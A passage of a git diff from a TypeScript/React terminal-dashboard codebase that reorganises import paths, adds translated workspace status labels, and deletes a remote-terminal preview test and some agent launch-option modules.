@@ -1,6 +1,4 @@
-import type { PreviewTerminalLinkHandler } from './preview-terminal-links'
 import { useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react'
-import type { ITheme, Terminal } from '@xterm/xterm'
 import { useShallow } from 'zustand/react/shallow'
 import { composeActiveTerminalTheme } from '@/components/terminal-pane/appearance/terminal-appearance'
 import { useSystemPrefersDark } from '@/hooks/theme/use-system-prefers-dark'
@@ -13,29 +11,26 @@ import {
   previewAdvertisesKittyKeyboard
 } from './preview-terminal-options'
 import { syncPreviewTerminalLigatures } from './preview-terminal-ligatures'
-import type { DashboardCardTerminalInput } from '../../../../shared/dashboard-snapshot'
 import { terminalPreviewUnavailableMessage } from './terminal-preview-unavailable-message'
-import { resolveEffectiveTerminalAppearance } from '@/lib/terminal-theme'
+import { resolveEffectiveTerminalAppearance } from '@/lib/terminal/appearance/terminal-theme'
 import { cn } from '@/lib/class-names'
 import { useAppStore } from '@/store/index'
 import { usePluginFontReady } from '@/store/plugins/appearance/plugin-fonts'
 import { createPreviewGridClaim } from './preview-grid-claim'
 import { createPreviewBoxFit } from './preview-terminal-box-fit'
-import {
-  openStandaloneTerminal,
-  type StandaloneTerminal
-} from '../standalone-terminal/open-standalone-terminal'
-import type { TerminalPreviewDataPayload } from '../../../../shared/terminal/replay/terminal-preview'
+import { openStandaloneTerminal } from '../standalone-terminal/open-standalone-terminal'
+import type { StandaloneTerminal } from '../standalone-terminal/open-standalone-terminal'
 import { terminalPreviewApiFor } from './terminal-preview-api'
-
 import { LinkActionPopover } from '@/components/link-actions/LinkActionPopover'
-import {
-  closeLinkActionRequest,
-  type LinkActionRequest
-} from '@/components/link-actions/link-action-request'
+import { closeLinkActionRequest } from '@/components/link-actions/link-action-request'
+import type { LinkActionRequest } from '@/components/link-actions/link-action-request'
 import { installDashboardPreviewLinkInteraction } from './dashboard-preview-link-interaction'
-import type { DashboardPreviewLinkSource } from './dashboard-preview-http-actions'
 import { useTranslate } from '@/i18n/use-translate'
+import type { PreviewTerminalLinkHandler } from './preview-terminal-links'
+import type { ITheme, Terminal } from '@xterm/xterm'
+import type { DashboardCardTerminalInput } from '../../../../shared/dashboard-snapshot'
+import type { TerminalPreviewDataPayload } from '../../../../shared/terminal/replay/terminal-preview'
+import type { DashboardPreviewLinkSource } from './dashboard-preview-http-actions'
 
 const PREVIEW_SCROLLBACK_ROWS = 24
 // Preview snapshots bound history; pane scrollback would only cost memory.
diff --git a/src/renderer/src/components/dashboard-popout/agent-dashboard-filter-options.ts b/src/renderer/src/components/dashboard-popout/agent-dashboard-filter-options.ts
index 95443eb6f31..1ec983eb14e 100644
--- a/src/renderer/src/components/dashboard-popout/agent-dashboard-filter-options.ts
+++ b/src/renderer/src/components/dashboard-popout/agent-dashboard-filter-options.ts
@@ -1,5 +1,6 @@
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
+import { translateWorkspaceBoardStatusLabel } from '@/components/sidebar/workspace-board-status-label'
 import type { DashboardCard, DashboardFilterOption } from '../../../../shared/dashboard-snapshot'
 import type { DashboardReviewFilter } from './agent-board-filtering'
 
@@ -35,7 +36,7 @@ export function workspaceStatusOptions(
     }
     options.set(card.workspaceStatusId, {
       id: card.workspaceStatusId,
-      label: card.workspaceStatusLabel ?? card.workspaceStatusId,
+      label: dashboardWorkspaceStatusLabel(card),
       color: card.workspaceStatusColor,
       count: counts.get(card.workspaceStatusId) ?? 0
     })
@@ -43,6 +44,13 @@ export function workspaceStatusOptions(
   return [...options.values()]
 }
 
+export function dashboardWorkspaceStatusLabel(
+  card: Pick<DashboardCard, 'workspaceStatusId' | 'workspaceStatusLabel'>
+): string {
+  const id = card.workspaceStatusId ?? ''
+  return translateWorkspaceBoardStatusLabel({ id, label: card.workspaceStatusLabel ?? id })
+}
+
 export function projectOptions(
   cards: DashboardCard[],
   configured: DashboardFilterOption[] | undefined
diff --git a/src/renderer/src/components/dashboard-popout/dashboard-preview-http-actions.ts b/src/renderer/src/components/dashboard-popout/dashboard-preview-http-actions.ts
index d2bf0a8f9b3..91bd1aef3a0 100644
--- a/src/renderer/src/components/dashboard-popout/dashboard-preview-http-actions.ts
+++ b/src/renderer/src/components/dashboard-popout/dashboard-preview-http-actions.ts
@@ -1,29 +1,31 @@
 import { toast } from 'sonner'
 import { intentPresentation } from '@/lib/browser/workspace/workspace-browser-tab-presentation'
-import type { DashboardCard } from '../../../../shared/dashboard-snapshot'
 import { parseAppSshPtyId } from '../../../../shared/ssh-pty-id'
 import { parseRoutableExecutionHostId } from '../../../../shared/execution-host'
 import {
   parseRemoteRuntimePtyId,
   isRemoteRuntimePtyId
 } from '../../../../shared/remote-runtime/remote-runtime-pty-id'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { resolveOwner } from '@/lib/workspace/ownership/resolve-owner'
 import { resolveWorktreeOperationRoute } from '@/lib/workspace/ownership/worktree-operation-route'
 import { createBrowserLinkHostMatcher } from '@/lib/browser/navigation/browser-link-owner'
-import { getWorkspaceClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
+import { getWorkspaceClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
 import {
   canOpenWorkspaceBrowserTabOnRuntime,
   canOpenWorkspaceBrowserTabOnSsh
 } from '@/lib/browser/workspace/workspace-browser-route-eligibility'
-import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing'
 import {
   buildHttpLinkActions,
   httpLinkActionDestinationsFor,
-  openRoutedHttpLink,
-  type HttpLinkDestination,
-  type HttpLinkActionDestinations
+  openRoutedHttpLink
 } from '@/lib/browser/navigation/http-link-destinations'
+import type {
+  HttpLinkDestination,
+  HttpLinkActionDestinations
+} from '@/lib/browser/navigation/http-link-destinations'
+import type { DashboardCard } from '../../../../shared/dashboard-snapshot'
+import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing'
 
 export type DashboardPreviewLinkSource = Pick<
   DashboardCard,
diff --git a/src/renderer/src/components/dashboard-popout/preview-terminal-box-fit.ts b/src/renderer/src/components/dashboard-popout/preview-terminal-box-fit.ts
index 05a699262b6..2dbb019fd48 100644
--- a/src/renderer/src/components/dashboard-popout/preview-terminal-box-fit.ts
+++ b/src/renderer/src/components/dashboard-popout/preview-terminal-box-fit.ts
@@ -1,5 +1,5 @@
 import type { Terminal } from '@xterm/xterm'
-import { PaneReparentFrameTracker } from '@/lib/pane-manager/pane-reparent-frame-tracker'
+import { PaneReparentFrameTracker } from '@/lib/pane-manager/pane-layout/pane-reparent-frame-tracker'
 
 type PreviewBoxFitTerminal = Pick<Terminal, 'rows' | 'buffer'>
 
diff --git a/src/renderer/src/components/dashboard-popout/preview-terminal-compatibility.ts b/src/renderer/src/components/dashboard-popout/preview-terminal-compatibility.ts
index dc6bc9d1608..00640ae9cdc 100644
--- a/src/renderer/src/components/dashboard-popout/preview-terminal-compatibility.ts
+++ b/src/renderer/src/components/dashboard-popout/preview-terminal-compatibility.ts
@@ -2,11 +2,11 @@ import type { Terminal } from '@xterm/xterm'
 import { Unicode11Addon } from '@xterm/addon-unicode11'
 import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import { activateOrcaTerminalUnicodeProvider } from '../../../../shared/terminal/appearance/terminal-unicode-provider'
-import { installWindowsCtrlAltChordRepair } from '@/lib/pane-manager/terminal-windows-ctrl-alt-chord-classification'
-import { attachTerminalMouseWheelMultiplier } from '@/lib/pane-manager/pane-terminal-mouse-wheel'
-import { configureLazyArabicShapingJoiner } from '@/lib/pane-manager/terminal-arabic-shaping-joiner'
-import { installTerminalImeCandidateAnchor } from '@/lib/pane-manager/terminal-ime-candidate-anchor'
-import { normalizeTerminalTuiMouseWheelMultiplier } from '@/lib/pane-manager/pane-terminal-tui-wheel-reports'
+import { installWindowsCtrlAltChordRepair } from '@/lib/pane-manager/terminal-protocol/terminal-windows-ctrl-alt-chord-classification'
+import { attachTerminalMouseWheelMultiplier } from '@/lib/pane-manager/terminal-input/pane-terminal-mouse-wheel'
+import { configureLazyArabicShapingJoiner } from '@/lib/pane-manager/terminal-rendering/terminal-arabic-shaping-joiner'
+import { installTerminalImeCandidateAnchor } from '@/lib/pane-manager/terminal-input/terminal-ime-candidate-anchor'
+import { normalizeTerminalTuiMouseWheelMultiplier } from '@/lib/pane-manager/terminal-input/pane-terminal-tui-wheel-reports'
 import {
   installPreviewTerminalLinks,
   type PreviewTerminalLinkHandlers
diff --git a/src/renderer/src/components/dashboard-popout/preview-terminal-ligatures.ts b/src/renderer/src/components/dashboard-popout/preview-terminal-ligatures.ts
index 336b191e987..1da2f26a134 100644
--- a/src/renderer/src/components/dashboard-popout/preview-terminal-ligatures.ts
+++ b/src/renderer/src/components/dashboard-popout/preview-terminal-ligatures.ts
@@ -1,7 +1,7 @@
 import type { Terminal } from '@xterm/xterm'
 import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import { resolveTerminalLigaturesEnabled } from '../../../../shared/terminal/appearance/terminal-ligatures'
-import { TerminalLigaturesAddon } from '@/lib/pane-manager/terminal-ligatures-addon'
+import { TerminalLigaturesAddon } from '@/lib/pane-manager/terminal-rendering/terminal-ligatures-addon'
 
 const ligatureAddonsByTerminal = new WeakMap<Terminal, TerminalLigaturesAddon>()
 
diff --git a/src/renderer/src/components/dashboard-popout/preview-terminal-links.ts b/src/renderer/src/components/dashboard-popout/preview-terminal-links.ts
index 72b4ad9b0cc..a129ef4de62 100644
--- a/src/renderer/src/components/dashboard-popout/preview-terminal-links.ts
+++ b/src/renderer/src/components/dashboard-popout/preview-terminal-links.ts
@@ -1,6 +1,6 @@
 import type { IBufferRange, ILinkHandler, Terminal } from '@xterm/xterm'
 import { WebLinksAddon } from '@xterm/addon-web-links'
-import { installGuardedLinkProviderRegistration } from '@/lib/pane-manager/terminal-link-provider-guard'
+import { installGuardedLinkProviderRegistration } from '@/lib/pane-manager/terminal-input/terminal-link-provider-guard'
 import { isTerminalLinkDirectActivation as isTerminalHttpLinkActivation } from '@/components/terminal-pane/links/gestures/terminal-link-activation'
 import { TERMINAL_HTTP_URL_REGEX } from '../../../../shared/terminal/links/terminal-http-url-extraction'
 
diff --git a/src/renderer/src/components/dashboard-popout/preview-terminal-options.ts b/src/renderer/src/components/dashboard-popout/preview-terminal-options.ts
index 0d7f620e41e..6726e0dd912 100644
--- a/src/renderer/src/components/dashboard-popout/preview-terminal-options.ts
+++ b/src/renderer/src/components/dashboard-popout/preview-terminal-options.ts
@@ -10,7 +10,7 @@ import {
   resolveTerminalCursorInactiveStyle,
   resolveTerminalScrollOnUserInput
 } from '@/lib/pane-manager/pane-terminal-options'
-import { buildLocalConptyTerminalOptions } from '@/lib/pane-manager/windows-pty-compatibility'
+import { buildLocalConptyTerminalOptions } from '@/lib/pane-manager/terminal-protocol/windows-pty-compatibility'
 import { buildFontFamily } from '../../../../shared/monospace-font-family'
 import { pluginFontFamilyWhenLoaded } from '@/store/plugins/appearance/plugin-fonts'
 import { resolveTerminalMinimumContrastRatio } from '../../../../shared/terminal-themes/terminal-contrast-correction'
diff --git a/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.test.ts b/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.test.ts
deleted file mode 100644
index e7e465abf27..00000000000
--- a/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.test.ts
+++ /dev/null
@@ -1,185 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import type { RemoteRuntimeMultiplexedTerminalCallbacks } from '@/runtime/hosted-terminals/streams/remote-terminal-stream-contracts'
-import type { TerminalPreviewDataPayload } from '../../../../shared/terminal/replay/terminal-preview'
-
-type Subscription = {
-  environmentId: string
-  terminal: string
-  clientId: string
-  callbacks: RemoteRuntimeMultiplexedTerminalCallbacks
-  stream: {
-    sendInput: ReturnType<typeof vi.fn>
-    claimViewport: ReturnType<typeof vi.fn>
-    serializeBufferOutcome: ReturnType<typeof vi.fn>
-    close: ReturnType<typeof vi.fn>
-  }
-}
-
-const harness = vi.hoisted(() => {
-  const subscriptions: Subscription[] = []
-  return { subscriptions }
-})
-
-vi.mock(
-  '@/runtime/hosted-terminals/streams/registry/remote-runtime-terminal-multiplexer-registry',
-  () => ({
-    getRemoteRuntimeTerminalMultiplexer: (environmentId: string) => ({
-      subscribeTerminal: async (args: {
-        terminal: string
-        client: { id: string }
-        callbacks: RemoteRuntimeMultiplexedTerminalCallbacks
-      }) => {
-        const stream = {
-          sendInput: vi.fn(() => true),
-          claimViewport: vi.fn(() => true),
-          serializeBufferOutcome: vi.fn(),
-          close: vi.fn()
-        }
-        harness.subscriptions.push({
-          environmentId,
-          terminal: args.terminal,
-          clientId: args.client.id,
-          callbacks: args.callbacks,
-          stream
-        })
-        return stream
-      }
-    })
-  })
-)
-
-import { deliverTerminalDataWithDeferredCredit } from '@/lib/pane-manager/terminal-delivery-credit'
-import {
-  remoteRuntimeTerminalPreviewApi as api,
-  resetRemoteRuntimeTerminalPreviewSessionsForTests
-} from './remote-runtime-terminal-preview-api'
-
-const PTY = 'remote:env-a@@term-1'
-
-async function openPreview(): Promise<{
-  sub: Subscription
-  payloads: TerminalPreviewDataPayload[]
-}> {
-  const payloads: TerminalPreviewDataPayload[] = []
-  api.onData((payload) => payloads.push(payload))
-  const connecting = api.connect(PTY, { scrollbackRows: 24 })
-  await vi.waitFor(() => expect(harness.subscriptions).toHaveLength(1))
-  const sub = harness.subscriptions[0]!
-  sub.callbacks.onSnapshot('screen', { cols: 90, rows: 30, seq: 10 })
-  await expect(connecting).resolves.toEqual({
-    snapshot: expect.objectContaining({ data: 'screen', cols: 90, rows: 30, seq: 10 }),
-    replay: []
-  })
-  return { sub, payloads }
-}
-
-describe('remoteRuntimeTerminalPreviewApi', () => {
-  afterEach(() => {
-    resetRemoteRuntimeTerminalPreviewSessionsForTests()
-    harness.subscriptions.length = 0
-  })
-
-  it('refuses an id without its owning host instead of guessing one', async () => {
-    await expect(api.connect('remote:term-1')).resolves.toEqual({ snapshot: null, replay: [] })
-    expect(harness.subscriptions).toHaveLength(0)
-  })
-
-  it('refreshes on the same stream and replays only output past the snapshot', async () => {
-    const { sub, payloads } = await openPreview()
-    let answer: (value: unknown) => void = () => {}
-    sub.stream.serializeBufferOutcome.mockReturnValue(new Promise((resolve) => (answer = resolve)))
-
-    const refreshing = api.connect(PTY, { scrollbackRows: 24 })
-    sub.callbacks.onData('covered', { seq: 20 })
-    sub.callbacks.onData('after', { seq: 25 })
-    answer({
-      availability: { kind: 'snapshot' },
-      snapshot: { data: 'fresh', cols: 90, rows: 30, seq: 20 }
-    })
-
-    await expect(refreshing).resolves.toEqual({
-      snapshot: expect.objectContaining({ data: 'fresh', seq: 20 }),
-      replay: [{ data: 'after', mode: 'live' }]
-    })
-    expect(sub.stream.serializeBufferOutcome).toHaveBeenCalledWith({ scrollbackRows: 24 })
-    expect(harness.subscriptions).toHaveLength(1)
-    expect(payloads).toEqual([])
-  })
-
-  it('drops covered output the host forwards after a requested snapshot and slices a straddler', async () => {
-    const { sub, payloads } = await openPreview()
-    sub.stream.serializeBufferOutcome.mockResolvedValue({
-      availability: { kind: 'snapshot' },
-      snapshot: { data: 'fresh', cols: 90, rows: 30, seq: 20 }
-    })
-    await expect(api.connect(PTY)).resolves.toMatchObject({ replay: [] })
-
-    // A tagged reply is followed by every chunk the host buffered, covered ones included.
-    sub.callbacks.onData('old', { seq: 18, rawLength: 3 })
-    sub.callbacks.onData('ABCDE', { seq: 23, rawLength: 5 })
-    sub.callbacks.onData('next', { seq: 27, rawLength: 4 })
-    expect(payloads).toEqual([
-      { type: 'data', ptyId: PTY, data: 'CDE', bytes: 3 },
-      { type: 'data', ptyId: PTY, data: 'next', bytes: 4 }
-    ])
-  })
-
-  it('returns transport credit only once the preview has parsed the chunk', async () => {
-    const { sub } = await openPreview()
-    const credit = vi.fn()
-    deliverTerminalDataWithDeferredCredit(credit, () =>
-      sub.callbacks.onData('live', { seq: 14, rawLength: 4 })
-    )
-    expect(credit).not.toHaveBeenCalled()
-
-    await api.ack(PTY, 4)
-    expect(credit).toHaveBeenCalledTimes(1)
-  })
-
-  it('returns held credit when the preview closes', async () => {
-    const { sub } = await openPreview()
-    const credit = vi.fn()
-    deliverTerminalDataWithDeferredCredit(credit, () => sub.callbacks.onData('live', { seq: 14 }))
-
-    await api.unsubscribe(PTY)
-    expect(credit).toHaveBeenCalledTimes(1)
-  })
-
-  it('asks for a repaint when the grid changes, not when the same grid is re-announced', async () => {
-    const { sub, payloads } = await openPreview()
-    await expect(api.fit(PTY, 120, 40)).resolves.toEqual({ cols: 120, rows: 40 })
-    expect(sub.stream.claimViewport).toHaveBeenCalledWith(120, 40)
-
-    sub.callbacks.onFitOverrideChanged?.({ mode: 'remote-desktop-fit', cols: 90, rows: 30 })
-    expect(payloads).toEqual([])
-    sub.callbacks.onFitOverrideChanged?.({ mode: 'remote-desktop-fit', cols: 120, rows: 40 })
-    expect(payloads).toEqual([{ type: 'resync', ptyId: PTY }])
-  })
-
-  it('reports an ended stream as unavailable on the next connect', async () => {
-    const { sub, payloads } = await openPreview()
-    sub.callbacks.onEnd?.('exited')
-    expect(payloads).toEqual([{ type: 'resync', ptyId: PTY }])
-
-    await expect(api.connect(PTY)).resolves.toEqual({ snapshot: null, replay: [] })
-    expect(sub.stream.close).toHaveBeenCalled()
-  })
-
-  it('reopens after loss of contact rather than calling the pane gone', async () => {
-    const { sub } = await openPreview()
-    sub.callbacks.onTransportClose?.({ recoverable: true })
-
-    const reopening = api.connect(PTY)
-    await vi.waitFor(() => expect(harness.subscriptions).toHaveLength(2))
-    harness.subscriptions[1]!.callbacks.onSnapshot('again', { cols: 90, rows: 30, seq: 3 })
-    await expect(reopening).resolves.toMatchObject({ snapshot: { data: 'again' } })
-    expect(sub.stream.serializeBufferOutcome).not.toHaveBeenCalled()
-  })
-
-  it('closes the host stream on unsubscribe so its viewport claim is released', async () => {
-    const { sub } = await openPreview()
-    await api.unsubscribe(PTY)
-    expect(sub.stream.close).toHaveBeenCalledTimes(1)
-    await expect(api.input(PTY, 'x')).resolves.toBe(false)
-  })
-})
diff --git a/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.ts b/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.ts
index 6cdd036786d..0ee2a2934ab 100644
--- a/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.ts
+++ b/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.ts
@@ -1,5 +1,5 @@
 import { createNonSecureContextUuid as createBrowserUuid } from '../../../../shared/non-secure-context-uuid'
-import { takeCurrentTerminalDeliveryCredit } from '@/lib/pane-manager/terminal-delivery-credit'
+import { takeCurrentTerminalDeliveryCredit } from '@/lib/pane-manager/terminal-output/terminal-delivery-credit'
 import { getRemoteRuntimeTerminalMultiplexer } from '@/runtime/hosted-terminals/streams/registry/remote-runtime-terminal-multiplexer-registry'
 import type {
   RemoteRuntimeMultiplexedTerminal,
diff --git a/src/renderer/src/components/dashboard/agent-dashboard-open-mode.ts b/src/renderer/src/components/dashboard/agent-dashboard-open-mode.ts
index 69606c87259..1e570af3cd7 100644
--- a/src/renderer/src/components/dashboard/agent-dashboard-open-mode.ts
+++ b/src/renderer/src/components/dashboard/agent-dashboard-open-mode.ts
@@ -1,6 +1,6 @@
 import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import type { AgentDashboardMode } from '../../../../shared/ui-chrome-types'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 
 /** A browser tab cannot open a second Orca window, so a web client only has the in-window board. */
 export function canOpenAgentDashboardPopout(): boolean {
diff --git a/src/renderer/src/components/dashboard/build-dashboard-snapshot.ts b/src/renderer/src/components/dashboard/build-dashboard-snapshot.ts
index bd8c099b15d..3bcaa52e3a1 100644
--- a/src/renderer/src/components/dashboard/build-dashboard-snapshot.ts
+++ b/src/renderer/src/components/dashboard/build-dashboard-snapshot.ts
@@ -1,6 +1,5 @@
 import { agentVerdictDisplayMark } from '../../../../shared/agent-status/lifecycle/agent-main-agent-verdict'
 import type { StructuredChatTabNames } from '@/runtime/native-chat/naming/structured-chat-tab-name'
-import type { AgentLaunchRouteView } from '@/lib/agent-session/launch/routing/agent-launch-route-input'
 import type { AppState } from '@/store/types'
 import {
   DASHBOARD_MAX_MAP_WORKSPACES,
@@ -42,10 +41,6 @@ import {
   rowConversationName,
   rowTask
 } from './dashboard-card-labels'
-import {
-  buildDashboardWorktreeLaunchOptions,
-  type DashboardLaunchDetectionState
-} from './dashboard-worktree-launch-options'
 import { buildDashboardSnapshotFilterOptions } from './dashboard-snapshot-filter-options'
 import { groupSubagentsByParentPaneKey } from './dashboard-subagent-cards'
 import { selectDashboardOrchestration } from './dashboard-orchestration-selection'
@@ -71,7 +66,6 @@ export type DashboardSnapshotState = Pick<
   DashboardCardContextState &
   Partial<
     DashboardCardTerminalInputState &
-      DashboardLaunchDetectionState &
       Pick<
         AppState,
         | 'runtimeEnvironments'
@@ -89,7 +83,6 @@ export function buildDashboardSnapshot(
   state: DashboardSnapshotInput,
   now: number,
   options: {
-    launchRouteStore?: AgentLaunchRouteView
     includeCardDetails?: boolean
     includeFilterOptions?: boolean
     /** Cache only row derivation; review/host/status inputs still require fresh card assembly. */
@@ -274,17 +267,6 @@ export function buildDashboardSnapshot(
     ...(workspaces ? { workspaces } : {}),
     showIdle,
     filterOptions,
-    // Count-only callers offer no launcher; skip host-detection lookups for sidebar rebuilds.
-    ...(includeCardDetails
-      ? {
-          launchableAgentsByWorktreeId: buildDashboardWorktreeLaunchOptions(
-            state,
-            cards,
-            workspaces,
-            options.launchRouteStore
-          )
-        }
-      : {}),
     repoIconsByRepoId
   }
 }
diff --git a/src/renderer/src/components/dashboard/dashboard-card-labels.ts b/src/renderer/src/components/dashboard/dashboard-card-labels.ts
index 3440cad19e5..ce2310922be 100644
--- a/src/renderer/src/components/dashboard/dashboard-card-labels.ts
+++ b/src/renderer/src/components/dashboard/dashboard-card-labels.ts
@@ -1,15 +1,13 @@
 import { getAgentRowConversationName } from '../../../../shared/agent-status/presentation/agent-row-conversation-name'
 import { DASHBOARD_MAX_LABEL_LENGTH } from '../../../../shared/dashboard-snapshot'
 import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
-import type { TerminalLayoutSnapshot } from '../../../../shared/workspace-layout/terminal-tab-types'
 import { resolveAgentRowPaneLiveTitle } from './agent-row-pane-live-title'
+import { structuredChatTabById } from '@/lib/agent-session/tab-identity/structured-chat-tab-index'
+import { projectedStructuredChatTabName } from '@/runtime/native-chat/naming/structured-chat-tab-name'
+import type { StructuredChatTabNames } from '@/runtime/native-chat/naming/structured-chat-tab-name'
+import type { TerminalLayoutSnapshot } from '../../../../shared/workspace-layout/terminal-tab-types'
 import type { DashboardAgentRow } from './useDashboardData'
 import type { AppState } from '@/store/types'
-import { structuredChatTabById } from '@/lib/structured-chat-tab-index'
-import {
-  projectedStructuredChatTabName,
-  type StructuredChatTabNames
-} from '@/runtime/native-chat/naming/structured-chat-tab-name'
 
 export function rowTask(row: DashboardAgentRow): string {
   return (row.entry.orchestration?.taskTitle ?? '').trim() || (row.entry.prompt ?? '').trim()
diff --git a/src/renderer/src/components/dashboard/dashboard-card-terminal-input.ts b/src/renderer/src/components/dashboard/dashboard-card-terminal-input.ts
index 966355c4260..7e4e7f54ae7 100644
--- a/src/renderer/src/components/dashboard/dashboard-card-terminal-input.ts
+++ b/src/renderer/src/components/dashboard/dashboard-card-terminal-input.ts
@@ -6,8 +6,8 @@ import { parseAppSshPtyId } from '../../../../shared/ssh-pty-id'
 import '@/lib/workspace/ownership/connection-context'
 import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution'
 import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
-import { shouldDisableKittyKeyboardForTerminal } from '@/lib/pane-manager/terminal-keyboard-protocol'
-import { isLocalNativeWindowsConpty } from '@/lib/pane-manager/windows-pty-compatibility'
+import { shouldDisableKittyKeyboardForTerminal } from '@/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol'
+import { isLocalNativeWindowsConpty } from '@/lib/pane-manager/terminal-protocol/windows-pty-compatibility'
 import { resolveTerminalInputHostPlatform } from '@/components/terminal-pane/input/terminal-input-host-platform'
 import { resolveWindowsShiftEnterEncodingForPane } from '@/components/terminal-pane/input/keyboard/terminal-windows-shift-enter'
 import { hasCtrlEnterCsiUAuthorityForPane } from '@/components/terminal-pane/input/keyboard/terminal-ctrl-enter'
diff --git a/src/renderer/src/components/dashboard/dashboard-chat-program-acquisition.ts b/src/renderer/src/components/dashboard/dashboard-chat-program-acquisition.ts
deleted file mode 100644
index a6f29976a82..00000000000
--- a/src/renderer/src/components/dashboard/dashboard-chat-program-acquisition.ts
+++ /dev/null
@@ -1,41 +0,0 @@
-import type { AppState } from '@/store/types'
-import { holdChatProgramFacts } from '@/lib/agent-session/launch/inventory/host-chat-program-acquisition'
-import { resolveChatProgramContext } from '@/lib/agent-session/launch/inventory/host-chat-program'
-import {
-  selectAgentLaunchRouteView,
-  worktreeLaunchWorkspace
-} from '@/lib/agent-session/launch/routing/agent-launch-route-input'
-import { DASHBOARD_MAX_LAUNCH_WORKTREES } from '../../../../shared/dashboard-snapshot'
-import { collectActiveDashboardWorkspaces } from './dashboard-snapshot-workspaces'
-
-/** Publishers reconcile one hold per represented execution resource before building payloads. */
-export function createDashboardChatProgramHolds() {
-  const held = new Map<string, () => void>()
-  return {
-    reconcile(state: AppState): void {
-      const next = new Set<string>()
-      const routeStore = selectAgentLaunchRouteView(state)
-      const shown = collectActiveDashboardWorkspaces(state, false)
-      for (const { worktree } of shown.slice(0, DASHBOARD_MAX_LAUNCH_WORKTREES)) {
-        const context = resolveChatProgramContext(routeStore, worktreeLaunchWorkspace(worktree.id))
-        const key = context.revision
-        next.add(key)
-        if (!held.has(key)) {
-          // A new hold can notify synchronously and re-enter this reconcile: reserve its key first.
-          held.set(key, () => {})
-          held.set(key, holdChatProgramFacts(context).release)
-        }
-      }
-      for (const [key, release] of held) {
-        if (!next.has(key)) {
-          release()
-          held.delete(key)
-        }
-      }
-    },
-    release(): void {
-      held.forEach((release) => release())
-      held.clear()
-    }
-  }
-}
diff --git a/src/renderer/src/components/dashboard/dashboard-snapshot-filter-options.ts b/src/renderer/src/components/dashboard/dashboard-snapshot-filter-options.ts
index a17776433a3..828bb029bdf 100644
--- a/src/renderer/src/components/dashboard/dashboard-snapshot-filter-options.ts
+++ b/src/renderer/src/components/dashboard/dashboard-snapshot-filter-options.ts
@@ -3,6 +3,7 @@ import type { DashboardFilterOptions } from '../../../../shared/dashboard-snapsh
 import { DEFAULT_WORKSPACE_STATUSES } from '../../../../shared/workspace-statuses'
 import { boundedLabel } from './dashboard-card-labels'
 import type { ActiveDashboardWorkspace } from './dashboard-snapshot-workspaces'
+import { translateWorkspaceBoardStatusLabel } from '@/components/sidebar/workspace-board-status-label'
 
 export function buildDashboardSnapshotFilterOptions(
   state: Partial<Pick<AppState, 'workspaceStatuses'>>,
@@ -20,7 +21,7 @@ export function buildDashboardSnapshotFilterOptions(
       : DEFAULT_WORKSPACE_STATUSES
   ).map((status) => ({
     id: status.id,
-    label: status.label,
+    label: translateWorkspaceBoardStatusLabel(status),
     color: status.color
   }))
   return { projects, workspaceStatuses }
diff --git a/src/renderer/src/components/dashboard/dashboard-worktree-launch-options.ts b/src/renderer/src/components/dashboard/dashboard-worktree-launch-options.ts
deleted file mode 100644
index 7e6e7dab48b..00000000000
--- a/src/renderer/src/components/dashboard/dashboard-worktree-launch-options.ts
+++ /dev/null
@@ -1,151 +0,0 @@
-import type { AppState } from '@/store/types'
-import { parseExecutionHostId } from '../../../../shared/execution-host'
-import {
-  DASHBOARD_MAX_LAUNCH_WORKTREES,
-  type DashboardCard,
-  type DashboardWorkspace
-} from '../../../../shared/dashboard-snapshot'
-import { isTuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent-config'
-import {
-  filterEnabledTuiAgents,
-  TUI_AGENT_AUTO_PICK_ORDER
-} from '../../../../shared/agent-launch/catalog/tui-agent-selection'
-import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent'
-import { parseWorkspaceKey } from '../../../../shared/workspace-scope'
-import { getRuntimeAgentInventoryKey } from '@/store/slices/agent-inventory/runtime-agent-inventory-key'
-import {
-  worktreeLaunchWorkspace,
-  type AgentLaunchRouteView
-} from '@/lib/agent-session/launch/routing/agent-launch-route-input'
-import { agentsOfferedForLaunch } from '@/lib/agent-session/launch/inventory/host-chat-program'
-import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields'
-
-export type DashboardLaunchDetectionState = Pick<
-  AppState,
-  | 'detectedAgentIds'
-  | 'folderWorkspaces'
-  | 'projectGroups'
-  | 'remoteDetectedAgentIds'
-  | 'runtimeDetectedAgentIds'
->
-
-type DashboardLaunchOptionState = Pick<AppState, 'repos' | 'settings' | 'worktreesByRepo'> &
-  Partial<DashboardLaunchDetectionState>
-
-type DashboardLaunchCatalog = {
-  foldersById: Map<string, AppState['folderWorkspaces'][number]>
-  groupsById: Map<string, AppState['projectGroups'][number]>
-  reposById: Map<string, AppState['repos'][number]>
-  worktreesByRepoAndId: Map<string, Map<string, AppState['worktreesByRepo'][string][number]>>
-}
-
-function buildDashboardLaunchCatalog(state: DashboardLaunchOptionState): DashboardLaunchCatalog {
-  return {
-    foldersById: new Map((state.folderWorkspaces ?? []).map((folder) => [folder.id, folder])),
